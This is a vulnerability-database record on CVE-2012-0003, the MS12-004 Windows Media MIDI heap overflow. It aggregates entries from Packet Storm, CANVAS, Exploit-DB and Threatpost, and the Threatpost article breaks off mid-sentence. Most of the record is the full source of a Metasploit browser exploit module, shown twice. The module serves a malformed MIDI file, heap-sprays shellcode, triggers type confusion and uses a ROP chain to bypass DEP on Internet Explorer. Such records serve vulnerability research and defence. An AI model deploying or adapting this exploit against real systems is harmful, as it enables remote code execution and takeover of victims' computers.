\ntrigger.obfuscate \ntrigger_fn = find_trigger_fn(trigger.to_s) \nend \n \nhtml = %Q| \n<html> \n<head> \n<script language='javascript'> \n#{spray} \n</script> \n<script language='javascript'> \n#{trigger} \n</script> \n<script for=audio event=PlayStateChange(oldState,newState)> \nif (oldState == 3 && newState == 0) { \n#{trigger_fn}(); \n} \n</script> \n</head> \n<body> \n<object ID=\"audio\" WIDTH=1 HEIGHT=1 CLASSID=\"CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95\"> \n<param name=\"fileName\" value=\"#{midi_uri}\"> \n<param name=\"SendPlayStateChangeEvents\" value=\"true\"> \n<param NAME=\"AutoStart\" value=\"True\"> \n<param name=\"uiMode\" value=\"mini\"> \n<param name=\"Volume\" value=\"-300\"> \n</object> \n</body> \n</html> \n| \n \nhtml = html.gsub(/^\\t\\t/, '') \n \nprint_status(\"Sending html to #{cli.peerhost}:#{cli.peerport}...\") \nsend_response(cli, html, {'Content-Type'=>'text/html'}) \nend \n \ndef exploit \n@m_name, @midi = get_midi \nsuper \nend \n \ndef build_spray(my_target) \n \n# Extract string based on target \nif my_target.name == 'IE 8 on Windows XP SP3' \njs_extract_str = \"var block = shellcode.substring(2, (0x40000-0x21)/2);\" \nelse \njs_extract_str = \"var block = shellcode.substring(0, (0x80000-6)/2);\" \nend \n \n# Build shellcode based on Rop requirement \nif my_target['Rop'] \ncode = create_rop_chain(my_target) \ncode << payload.encoded \nshellcode = Rex::Text.to_unescape(code) \nelse \ncode = payload.encoded \nshellcode = Rex::Text.to_unescape(code) \nend \n \n# 1. Create big block of nops \n# 2. Compose one block which is nops + shellcode \n# 3. Repeat the block \n# 4. Extract string from the big block \n# 5. Spray \nspray = <<-JS \nvar heap_obj = new heapLib.ie(0x10000); \n \nvar code = unescape(\"#{shellcode}\"); \nvar nops = unescape(\"%u0c0c%u0c0c\"); \n \nwhile (nops.length < 0x1000) nops+= nops; \n \nvar shellcode = nops.substring(0,0x800 - code.length) + code; \n \nwhile (shellcode.length < 0x40000) shellcode += shellcode; \n \n#{js_extract_str} \n \nheap_obj.gc(); \nfor (var i=0; i < 600; i++) { \nheap_obj.alloc(block); \n} \n \nJS \n \nspray = heaplib(spray, {:noobfu => true}) \nreturn spray \nend \n \n# Build the JavaScript string for the attributes \ndef build_element(element_name, my_target) \ndst = Rex::Text.to_unescape([my_target['DispatchDst']].pack(\"V\")) \nelement = '' \n \nif my_target.name =~ /IE 8/ \nmax = 63 # Number of attributes for IE 8 \nindex = 1 # Where we want to confuse the type \nelse \nmax = 55 # Number of attributes for before IE 8 \nindex = 0 # Where we want to confuse the type \nend \n \nelement << \"var #{element_name} = document.createElement(\\\"select\\\")\" + \"\\n\" \n \n# Build attributes \n0.upto(max) do |i| \nobj = (i==index) ? \"unescape(\\\"#{dst}\\\")\" : \"alert\" \nelement << \"#{element_name}.w#{i.to_s} = #{obj}\" + \"\\n\" \nend \n \nreturn element \nend \n \n# Feng Shui and triggering Steps: \n# 1. Run the garbage collector before allocations \n# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent) \n# 3. Make holes \n# 4. Let windows media play the crafted midi file and corrupt the heap \n# 5. Force the using of the confused tagVARIANT. \ndef build_trigger(my_target) \n \nif my_target.name == 'IE 8 on Windows XP SP3' \n \n# Redoing the feng shui if fails makes it reliable \njs_trigger = <<-JSTRIGGER \nfunction trigger(){ \nvar k = 999; \nwhile (k > 0) { \nif (typeof(clones[k].w1) == \"string\") { \n} else { \nclones[k].w1('come on!'); \n} \nk = k - 2; \n} \nfeng_shui(); \ndocument.audio.Play(); \n} \nJSTRIGGER \n \nselect_element = build_element('selob', my_target) \nelse \n \njs_trigger = <<-JSTRIGGER \nfunction trigger(){ \nvar k = 999; \nwhile (k > 0) { \nif (typeof(clones[k].w0) == \"string\") { \n} else { \nclones[k].w0('come on!'); \n} \nk = k - 2; \n} \nfeng_shui(); \ndocument.audio.Play(); \n} \nJSTRIGGER \n \nselect_element = build_element('selob', my_target) \nend \n \ntrigger = <<-JS \nvar heap = new heapLib.ie(); \n#{select_element} \nvar clones=new Array(1000); \n \nfunction feng_shui() { \n \nheap.gc(); \n \nvar i = 0; \nwhile (i < 1000) { \nclones[i] = selob.cloneNode(true) \ni = i + 1; \n} \n \nvar j = 0; \nwhile (j < 1000) { \ndelete clones[j]; \nCollectGarbage(); \nj = j + 2; \n} \n \n} \n \nfeng_shui(); \n \n#{js_trigger} \nJS \n \ntrigger = heaplib(trigger, {:noobfu => true}) \nreturn trigger \nend \n \ndef find_trigger_fn(trigger) \nfns = trigger.scan(/function ([a-zA-Z0-9_]+)\\(\\)/) \nif fns.nil? or fns.empty? \nreturn \"trigger\" \nelse \nreturn fns.last.first \nend \nreturn \"trigger\" \nend \n \ndef junk(n=1) \ntmp = [] \nvalue = rand_text(4).unpack(\"L\")[0].to_i \nn.times { tmp << value } \nreturn tmp \nend \n \n# ROP chain copied from ms11_050_mshtml_cobjectelement.rb (generated by mona) \n# Added a little of roping to adjust the stack pivoting for this case \n# Specific for IE8 XP SP3 case at this time \ndef create_rop_chain(my_target) \n \nrop_gadgets = \n[ \n0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] \nmy_target['StackPivot'], # stackpivot \njunk, # padding \n0x7c376402, # POP EBP # RETN [msvcr71.dll] \n0x7c376402, # skip 4 bytes [msvcr71.dll] \n0x7c347f97, # POP EAX # RETN [msvcr71.dll] \n0xfffff800, # Value to negate, will become 0x00000201 (dwSize) \n0x7c351e05, # NEG EAX # RETN [msvcr71.dll] \n0x7c354901, # POP EBX # RETN [msvcr71.dll] \n0xffffffff, \n0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] \n0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] \n0x7c344f87, # POP EDX # RETN [msvcr71.dll] \n0xffffffc0, # Value to negate, will become 0x00000040 \n0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] \n0x7c34d201, # POP ECX # RETN [msvcr71.dll] \n0x7c38b001, # &Writable location [msvcr71.dll] \n0x7c34b8d7, # POP EDI # RETN [msvcr71.dll] \n0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] \n0x7c364802, # POP ESI # RETN [msvcr71.dll] \n0x7c3415a2, # JMP [EAX] [msvcr71.dll] \n0x7c347f97, # POP EAX # RETN [msvcr71.dll] \n0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] \n0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] \n0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll] \n].flatten.pack('V*') \n \nreturn rop_gadgets \nend \n \n \nend \n`\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/109176/ms12_004_midi.rb.txt"}], "canvas": [{"lastseen": "2019-05-29T19:48:26", "bulletinFamily": "exploit", "cvelist": ["CVE-2012-0003"], "description": "**Name**| ms12_004 \n---|--- \n**CVE**| CVE-2012-0003 \n**Exploit Pack**| [CANVAS](<http://http://www.immunityinc.com/products-canvas.shtml>) \n**Description**| MS12_004 \n**Notes**| CVE Name: CVE-2012-0003 \nVENDOR: Microsoft \nNOTES: \n \nThis exploit will work on Internet Explorer 8. \n \n \nRepeatability: Single \nReferences: http://technet.microsoft.com/en-us/security/bulletin/ms12-004 \nCVE Url: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0003 \n\n", "edition": 2, "modified": "2012-01-10T21:55:00", "published": "2012-01-10T21:55:00", "id": "MS12_004", "href": "http://exploitlist.immunityinc.com/home/exploitpack/CANVAS/ms12_004", "type": "canvas", "title": "Immunity Canvas: MS12_004", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": "2016-02-02T09:42:25", "description": "MS12-004 midiOutPlayNextPolyEvent Heap Overflow. CVE-2012-0003. Remote exploit for windows platform", "published": "2012-01-28T00:00:00", "type": "exploitdb", "title": "Windows - midiOutPlayNextPolyEvent Heap Overflow MS12-004", "bulletinFamily": "exploit", "cvelist": ["CVE-2012-0003"], "modified": "2012-01-28T00:00:00", "id": "EDB-ID:18426", "href": "https://www.exploit-db.com/exploits/18426/", "sourceData": "##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# Framework web site for more information on licensing and terms of use.\r\n# http://metasploit.com/framework/\r\n##\r\n\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n\tRank = NormalRanking\r\n\r\n\tinclude Msf::Exploit::Remote::HttpServer::HTML\r\n\r\n\tdef initialize(info={})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => \"MS12-004 midiOutPlayNextPolyEvent Heap Overflow\",\r\n\t\t\t'Description' => %q{\r\n\t\t\t\t\tThis module exploits a heap overflow vulnerability in the Windows Multimedia\r\n\t\t\t\tLibrary (winmm.dll). The vulnerability occurs when parsing specially crafted\r\n\t\t\t\tMIDI files. Remote code execution can be achieved by using Windows Media Player's\r\n\t\t\t\tActiveX control.\r\n\r\n\t\t\t\t\tExploitation is done by supplying a specially crafted MIDI file with\r\n\t\t\t\tspecific events, causing the offset calculation being higher than how much is\r\n\t\t\t\tavailable on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing\r\n\t\t\t\tus to either \"inc al\" or \"dec al\" a byte. This can be used to corrupt an array\r\n\t\t\t\t(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,\r\n\t\t\t\twhich leverages remote code execution under the context of the user.\r\n\r\n\t\t\t\t\tAt this time, for IE 8 target, JRE (Java Runtime Environment) is required\r\n\t\t\t\tto bypass DEP (Data Execution Prevention).\r\n\r\n\t\t\t\t\tNote: Based on our testing, the vulnerability does not seem to trigger when\r\n\t\t\t\tthe victim machine is operated via rdesktop.\r\n\t\t\t},\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t'Author' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t'Shane Garrett', #Initial discovery (IBM X-Force)\r\n\t\t\t\t\t'juan vazquez',\r\n\t\t\t\t\t'sinn3r',\r\n\t\t\t\t],\r\n\t\t\t'References' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t[ 'MSB', 'MS12-004'],\r\n\t\t\t\t\t[ 'CVE', '2012-0003' ],\r\n\t\t\t\t\t[ 'OSVDB', '78210'],\r\n\t\t\t\t\t[ 'BID', '51292'],\r\n\t\t\t\t\t[ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ],\r\n\t\t\t\t],\r\n\t\t\t'Payload' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'Space' => 1024,\r\n\t\t\t\t},\r\n\t\t\t'DefaultOptions' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'EXITFUNC' => \"process\",\r\n\t\t\t\t\t'InitialAutoRunScript' => 'migrate -f',\r\n\t\t\t\t},\r\n\t\t\t'Platform' => 'win',\r\n\t\t\t'Targets' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t[ 'Automatic', {} ],\r\n\t\t\t\t\t[\r\n\t\t\t\t\t\t'IE 6 on Windows XP SP3',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t'Rop' => false,\r\n\t\t\t\t\t\t\t'DispatchDst' => 0x0c0c0c0c\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t],\r\n\t\t\t\t\t[\r\n\t\t\t\t\t\t'IE 7 on Windows XP SP3',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t'Rop' => false,\r\n\t\t\t\t\t\t\t'DispatchDst' => 0x0c0c0c0c\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t],\r\n\t\t\t\t\t[\r\n\t\t\t\t\t\t'IE 8 on Windows XP SP3',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t# xchg ecx,esp\r\n\t\t\t\t\t\t\t# or byte ptr [eax],al\r\n\t\t\t\t\t\t\t# add byte ptr [edi+5Eh],bl\r\n\t\t\t\t\t\t\t# ret 8\r\n\t\t\t\t\t\t\t# From IMAGEHLP\r\n\t\t\t\t\t\t\t'Rop' => true,\r\n\t\t\t\t\t\t\t'StackPivot' => 0x76C9B4C2,\r\n\t\t\t\t\t\t\t'DispatchDst' => 0x0c0c1be4\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t],\r\n\t\t\t\t],\r\n\t\t\t'Privileged' => false,\r\n\t\t\t'DisclosureDate' => \"Jan 10 2012\",\r\n\t\t\t'DefaultTarget' => 0))\r\n\r\n\t\tregister_options(\r\n\t\t\t[\r\n\t\t\t\tOptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])\r\n\t\t\t], self.class)\r\n\r\n\tend\r\n\r\n\tdef get_target(request)\r\n\t\tagent = request.headers['User-Agent']\r\n\t\tvprint_status(\"Request from: #{agent}\")\r\n\r\n\t\tif agent =~ /NT 5\\.1/ and agent =~ /MSIE 6\\.0/\r\n\t\t\t#Windows XP SP3 + IE 6.0\r\n\t\t\treturn targets[1]\r\n\t\telsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 7\\.0/\r\n\t\t\t#Windows XP SP3 + IE 7.0\r\n\t\t\treturn targets[2]\r\n\t\telsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 8\\.0/\r\n\t\t\t#Windows XP SP3 + IE 8.0 + JRE6\r\n\t\t\treturn targets[3]\r\n\t\telse\r\n\t\t\treturn nil\r\n\t\tend\r\n\tend\r\n\r\n\tdef get_midi\r\n\t\t# MIDI Fileformat Reference:\r\n\t\t# http://www.sonicspot.com/guide/midifiles.html\r\n\t\t#\r\n\t\t# Event Types:\r\n\t\t# 0x08 = Note Off (when MIDI key is released)\r\n\t\t# 0x09 = Note On (when MIDI key is pressed)\r\n\t\t# 0x0A = Note aftertouch (pressure change on the pressed MIDI key)\r\n\t\t# 0x0B = Controller Event (MIDI channels state)\r\n\t\t# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)\r\n\t\t# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)\r\n\t\t# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)\r\n\t\t# 0x0F = Meta Events (not sent or received over a midi port)\r\n\r\n\t\t# Structure:\r\n\t\t# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)\r\n\t\t# Problem:\r\n\t\t# Windows Media Player fails to manage Note On and Note Off Events\r\n\r\n\t\t# Track Chunk Data\r\n\t\ttc = \"\\x00\\xFF\\x03\\x0D\\x44\\x72\\x75\\x6D\"\r\n\t\t# Meta Event - Sequence/Track Name\r\n\t\ttc << \"\\x73\\x20\\x20\\x20\\x28\\x42\\x42\\x29\\x00\"\r\n\t\t# Midi Channel Event - Program Change\r\n\t\ttc << \"\\x00\\xC9\\x28\"\r\n\t\t# Midi Channel Event - Controller\r\n\t\ttc << \"\\x00\\xB9\\x07\\x64\"\r\n\t\t# Midi Channel Event - Controller\r\n\t\ttc << \"\\x00\\xB9\\x0A\\x40\"\r\n\t\t# Midi Channel Event - Controller\r\n\t\ttc << \"\\x00\\xB9\\x7B\\x00\"\r\n\t\t# Midi Channel Event - Controller\r\n\t\ttc << \"\\x00\\xB9\\x5B\\x28\"\r\n\t\t# Midi Channel Event - Controller\r\n\t\ttc << \"\\x00\\xB9\\x5D\\x00\"\r\n\t\t# Midi Channel Event - Note On\r\n\t\ttc << \"\\x85\\x50\\x99\\x23\\x7F\"\r\n\r\n\t\t# Corruption events\r\n\t\t# Midi Channel Event - Note On\r\n\t\ttc << \"\\x00\\x9F\\xb2\\x73\"\r\n\t\t# Ends Corruption events\r\n\r\n\t\t# Meta Event - End Of Track\r\n\t\ttc << \"\\x00\\xFF\\x2F\\x00\"\r\n\t\tm = ''\r\n\t\t# HEADERCHUNK Header\r\n\t\tm << \"MThd\" # Header\r\n\t\tm << \"\\x00\\x00\\x00\\x06\" # Chunk size\r\n\t\tm << \"\\x00\\x00\" # Format Type\r\n\t\tm << \"\\x00\\x01\" # Number of tracks\r\n\t\tm << \"\\x00\\x60\" # Time division\r\n\t\t# TRACKCHUNK header\r\n\t\tm << \"MTrk\" # Header\r\n\t\tm << [tc.length].pack('N')\r\n\t\tm << tc\r\n\r\n\t\tmidi_name = \"test_case.mid\"\r\n\r\n\t\treturn midi_name, m\r\n\tend\r\n\r\n\tdef on_request_uri(cli, request)\r\n\r\n\t\tif request.uri =~ /\\.mid$/i\r\n\t\t\tprint_status(\"Sending midi file to #{cli.peerhost}:#{cli.peerport}...\")\r\n\t\t\tsend_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})\r\n\t\t\treturn\r\n\t\tend\r\n\r\n\t\t#Set default target\r\n\t\tmy_target = target\r\n\r\n\t\t#If user chooses automatic target, we choose one based on user agent\r\n\t\tif my_target.name =~ /Automatic/\r\n\t\t\tmy_target = get_target(request)\r\n\t\t\tif my_target.nil?\r\n\t\t\t\tsend_not_found(cli)\r\n\t\t\t\tprint_error(\"#{cli.peerhost}:#{cli.peerport} Unknown user-agent\")\r\n\t\t\t\treturn\r\n\t\t\tend\r\n\t\t\tvprint_status(\"Target selected: #{my_target.name}\")\r\n\t\tend\r\n\r\n\t\tmidi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource\r\n\t\tmidi_uri << \"/#{@m_name}\"\r\n\r\n\t\tspray = build_spray(my_target)\r\n\r\n\t\tif datastore['OBFUSCATE']\r\n\t\t\tspray = ::Rex::Exploitation::JSObfu.new(spray)\r\n\t\t\tspray.obfuscate\r\n\t\tend\r\n\r\n\t\ttrigger = build_trigger(my_target)\r\n\t\ttrigger_fn = \"trigger\"\r\n\r\n\t\tif datastore['OBFUSCATE']\r\n\t\t\ttrigger = ::Rex::Exploitation::JSObfu.new(trigger)\r\n\t\t\ttrigger.obfuscate\r\n\t\t\ttrigger_fn = find_trigger_fn(trigger.to_s)\r\n\t\tend\r\n\r\n\t\thtml = %Q|\r\n\t\t<html>\r\n\t\t<head>\r\n\t\t<script language='javascript'>\r\n\t\t\t#{spray}\r\n\t\t</script>\r\n\t\t<script language='javascript'>\r\n\t\t\t#{trigger}\r\n\t\t</script>\r\n\t\t<script for=audio event=PlayStateChange(oldState,newState)>\r\n\t\t\tif (oldState == 3 && newState == 0) {\r\n\t\t\t\t#{trigger_fn}();\r\n\t\t\t}\r\n\t\t</script>\r\n\t\t</head>\r\n\t\t<body>\r\n\t\t\t<object ID=\"audio\" WIDTH=1 HEIGHT=1 CLASSID=\"CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95\">\r\n\t\t\t\t<param name=\"fileName\" value=\"#{midi_uri}\">\r\n\t\t\t\t<param name=\"SendPlayStateChangeEvents\" value=\"true\">\r\n\t\t\t\t<param NAME=\"AutoStart\" value=\"True\">\r\n\t\t\t\t<param name=\"uiMode\" value=\"mini\">\r\n\t\t\t\t<param name=\"Volume\" value=\"-300\">\r\n\t\t\t</object>\r\n\t\t</body>\r\n\t\t</html>\r\n\t\t|\r\n\r\n\t\thtml = html.gsub(/^\\t\\t/, '')\r\n\r\n\t\tprint_status(\"Sending html to #{cli.peerhost}:#{cli.peerport}...\")\r\n\t\tsend_response(cli, html, {'Content-Type'=>'text/html'})\r\n\tend\r\n\r\n\tdef exploit\r\n\t\t@m_name, @midi = get_midi\r\n\t\tsuper\r\n\tend\r\n\r\n\tdef build_spray(my_target)\r\n\r\n\t\t# Extract string based on target\r\n\t\tif my_target.name == 'IE 8 on Windows XP SP3'\r\n\t\t\tjs_extract_str = \"var block = shellcode.substring(2, (0x40000-0x21)/2);\"\r\n\t\telse\r\n\t\t\tjs_extract_str = \"var block = shellcode.substring(0, (0x80000-6)/2);\"\r\n\t\tend\r\n\r\n\t\t# Build shellcode based on Rop requirement\r\n\t\tif my_target['Rop']\r\n\t\t\tcode = create_rop_chain(my_target)\r\n\t\t\tcode << payload.encoded\r\n\t\t\tshellcode = Rex::Text.to_unescape(code)\r\n\t\telse\r\n\t\t\tcode = payload.encoded\r\n\t\t\tshellcode = Rex::Text.to_unescape(code)\r\n\t\tend\r\n\r\n\t\t# 1. Create big block of nops\r\n\t\t# 2. Compose one block which is nops + shellcode\r\n\t\t# 3. Repeat the block\r\n\t\t# 4. Extract string from the big block\r\n\t\t# 5. Spray\r\n\t\tspray = <<-JS\r\n\t\tvar heap_obj = new heapLib.ie(0x10000);\r\n\r\n\t\tvar code = unescape(\"#{shellcode}\");\r\n\t\tvar nops = unescape(\"%u0c0c%u0c0c\");\r\n\r\n\t\twhile (nops.length < 0x1000) nops+= nops;\r\n\r\n\t\tvar shellcode = nops.substring(0,0x800 - code.length) + code;\r\n\r\n\t\twhile (shellcode.length < 0x40000) shellcode += shellcode;\r\n\r\n\t\t#{js_extract_str}\r\n\r\n\t\theap_obj.gc();\r\n\t\tfor (var i=0; i < 600; i++) {\r\n\t\t\theap_obj.alloc(block);\r\n\t\t}\r\n\r\n\t\tJS\r\n\r\n\t\tspray = heaplib(spray, {:noobfu => true})\r\n\t\treturn spray\r\n\tend\r\n\r\n\t# Build the JavaScript string for the attributes\r\n\tdef build_element(element_name, my_target)\r\n\t\tdst = Rex::Text.to_unescape([my_target['DispatchDst']].pack(\"V\"))\r\n\t\telement = ''\r\n\r\n\t\tif my_target.name =~ /IE 8/\r\n\t\t\tmax = 63 # Number of attributes for IE 8\r\n\t\t\tindex = 1 # Where we want to confuse the type\r\n\t\telse\r\n\t\t\tmax = 55 # Number of attributes for before IE 8\r\n\t\t\tindex = 0 # Where we want to confuse the type\r\n\t\tend\r\n\r\n\t\telement << \"var #{element_name} = document.createElement(\\\"select\\\")\" + \"\\n\"\r\n\r\n\t\t# Build attributes\r\n\t\t0.upto(max) do |i|\r\n\t\t\tobj = (i==index) ? \"unescape(\\\"#{dst}\\\")\" : \"alert\"\r\n\t\t\telement << \"#{element_name}.w#{i.to_s} = #{obj}\" + \"\\n\"\r\n\t\tend\r\n\r\n\t\treturn element\r\n\tend\r\n\r\n\t# Feng Shui and triggering Steps:\r\n\t# 1. Run the garbage collector before allocations\r\n\t# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)\r\n\t# 3. Make holes\r\n\t# 4. Let windows media play the crafted midi file and corrupt the heap\r\n\t# 5. Force the using of the confused tagVARIANT.\r\n\tdef build_trigger(my_target)\r\n\r\n\t\tif my_target.name == 'IE 8 on Windows XP SP3'\r\n\r\n\t\t\t# Redoing the feng shui if fails makes it reliable\r\n\t\t\tjs_trigger = <<-JSTRIGGER\r\n\t\t\tfunction trigger(){\r\n\t\t\t\tvar k = 999;\r\n\t\t\t\twhile (k > 0) {\r\n\t\t\t\t\tif (typeof(clones[k].w1) == \"string\") {\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tclones[k].w1('come on!');\r\n\t\t\t\t\t}\r\n\t\t\t\t\tk = k - 2;\r\n\t\t\t\t}\r\n\t\t\t\tfeng_shui();\r\n\t\t\t\tdocument.audio.Play();\r\n\t\t\t}\r\n\t\t\tJSTRIGGER\r\n\r\n\t\t\tselect_element = build_element('selob', my_target)\r\n\t\telse\r\n\r\n\t\t\tjs_trigger = <<-JSTRIGGER\r\n\t\t\tfunction trigger(){\r\n\t\t\t\tvar k = 999;\r\n\t\t\t\twhile (k > 0) {\r\n\t\t\t\t\tif (typeof(clones[k].w0) == \"string\") {\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tclones[k].w0('come on!');\r\n\t\t\t\t\t}\r\n\t\t\t\t\tk = k - 2;\r\n\t\t\t\t}\r\n\t\t\t\tfeng_shui();\r\n\t\t\t\tdocument.audio.Play();\r\n\t\t\t}\r\n\t\t\tJSTRIGGER\r\n\r\n\t\t\tselect_element = build_element('selob', my_target)\r\n\t\tend\r\n\r\n\t\ttrigger = <<-JS\r\n\t\t\tvar heap = new heapLib.ie();\r\n\t\t\t#{select_element}\r\n\t\t\tvar clones=new Array(1000);\r\n\r\n\t\t\tfunction feng_shui() {\r\n\r\n\t\t\t\theap.gc();\r\n\r\n\t\t\t\tvar i = 0;\r\n\t\t\t\twhile (i < 1000) {\r\n\t\t\t\t\tclones[i] = selob.cloneNode(true)\r\n\t\t\t\t\ti = i + 1;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tvar j = 0;\r\n\t\t\t\twhile (j < 1000) {\r\n\t\t\t\t\tdelete clones[j];\r\n\t\t\t\t\tCollectGarbage();\r\n\t\t\t\t\tj = j + 2;\r\n\t\t\t\t}\r\n\r\n\t\t\t}\r\n\r\n\t\t\tfeng_shui();\r\n\r\n\t\t\t#{js_trigger}\r\n\t\tJS\r\n\r\n\t\ttrigger = heaplib(trigger, {:noobfu => true})\r\n\t\treturn trigger\r\n\tend\r\n\r\n\tdef find_trigger_fn(trigger)\r\n\t\tfns = trigger.scan(/function ([a-zA-Z0-9_]+)\\(\\)/)\r\n\t\tif fns.nil? or fns.empty?\r\n\t\t\treturn \"trigger\"\r\n\t\telse\r\n\t\t\treturn fns.last.first\r\n\t\tend\r\n\t\treturn \"trigger\"\r\n\tend\r\n\r\n\tdef junk(n=1)\r\n\t\ttmp = []\r\n\t\tvalue = rand_text(4).unpack(\"L\")[0].to_i\r\n\t\tn.times { tmp << value }\r\n\t\treturn tmp\r\n\tend\r\n\r\n\t# ROP chain copied from ms11_050_mshtml_cobjectelement.rb (generated by mona)\r\n\t# Added a little of roping to adjust the stack pivoting for this case\r\n\t# Specific for IE8 XP SP3 case at this time\r\n\tdef create_rop_chain(my_target)\r\n\r\n\t\trop_gadgets =\r\n\t\t[\r\n\t\t\t0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]\r\n\t\t\tmy_target['StackPivot'], # stackpivot\r\n\t\t\tjunk, # padding\r\n\t\t\t0x7c376402, # POP EBP # RETN [msvcr71.dll]\r\n\t\t\t0x7c376402, # skip 4 bytes [msvcr71.dll]\r\n\t\t\t0x7c347f97, # POP EAX # RETN [msvcr71.dll]\r\n\t\t\t0xfffff800, # Value to negate, will become 0x00000201 (dwSize)\r\n\t\t\t0x7c351e05, # NEG EAX # RETN [msvcr71.dll]\r\n\t\t\t0x7c354901, # POP EBX # RETN [msvcr71.dll]\r\n\t\t\t0xffffffff,\r\n\t\t\t0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]\r\n\t\t\t0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]\r\n\t\t\t0x7c344f87, # POP EDX # RETN [msvcr71.dll]\r\n\t\t\t0xffffffc0, # Value to negate, will become 0x00000040\r\n\t\t\t0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]\r\n\t\t\t0x7c34d201, # POP ECX # RETN [msvcr71.dll]\r\n\t\t\t0x7c38b001, # &Writable location [msvcr71.dll]\r\n\t\t\t0x7c34b8d7, # POP EDI # RETN [msvcr71.dll]\r\n\t\t\t0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]\r\n\t\t\t0x7c364802, # POP ESI # RETN [msvcr71.dll]\r\n\t\t\t0x7c3415a2, # JMP [EAX] [msvcr71.dll]\r\n\t\t\t0x7c347f97, # POP EAX # RETN [msvcr71.dll]\r\n\t\t\t0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]\r\n\t\t\t0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]\r\n\t\t\t0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]\r\n\t\t].flatten.pack('V*')\r\n\r\n\t\treturn rop_gadgets\r\n\tend\r\n\r\n\r\nend\r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/18426/"}], "threatpost": [{"lastseen": "2018-10-06T23:03:54", "bulletinFamily": "info", "cvelist": ["CVE-2012-0003"], "description": "[](<https://threatpost.com/attackers-targeting-windows-media-bug-malware-012712/>)Security researchers have seen attackers going after the newly patched [CVE-2012-0003](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0003>) vulnerability in the Windows Media Player. The flaw, which was patched earlier this month by Microsoft, is a critical one that can enable remote code execution, and it affects a wide range of Windows systems.\n\nWhen the patch was released, Microsoft officials recommended that customers install it immediately as there was a decent chance of attackers leveraging it in the near future. And that\u2019s just what\u2019s happened. Researchers at the IBM ISS X-Force have seen malicious attacks against the [MIDI vulnerability](<https://technet.microsoft.com/en-us/security/bulletin/ms12-004>) going on in the wild in recent days, and say that because exploitation of the flaw is not considered difficult, there may well be more on the horizon.\n\n\u201cIn addition to the appearance of live exploitation, detailed discussion of the vulnerability details and methods of exploitation have been seen. The relatively low complexity of locating the vulnerability will doubtlessly lead to more malware targeting it,\u201d [Shane Garrett of the X-Force](<http://blogs.iss.net/archive/CVE_2012_0003_Exploi.html>) wrote in a blog post.\n\nIn order to exploit this vulnerability, an attacker simply needs to entice a user into opening a specifically formatted media file. Once the exploit code executes, the attacker would then have full control of the system. And there are now pieces of malware that are circulating online that are capable of exploiting this vulnerability.\n\n\u201cIn the attack that we found, the infection vector is a malicious HTML which we found hosted on the domain, _hxxp://images.{BLOCKED}p.com/mp.html_. This HTML, which Trend Micro detects as [HTML_EXPLT.QYUA](<http://about-threats.trendmicro.com/Malware.aspx?language=us&name=HTML_EXPLT.QYUA>), exploits the 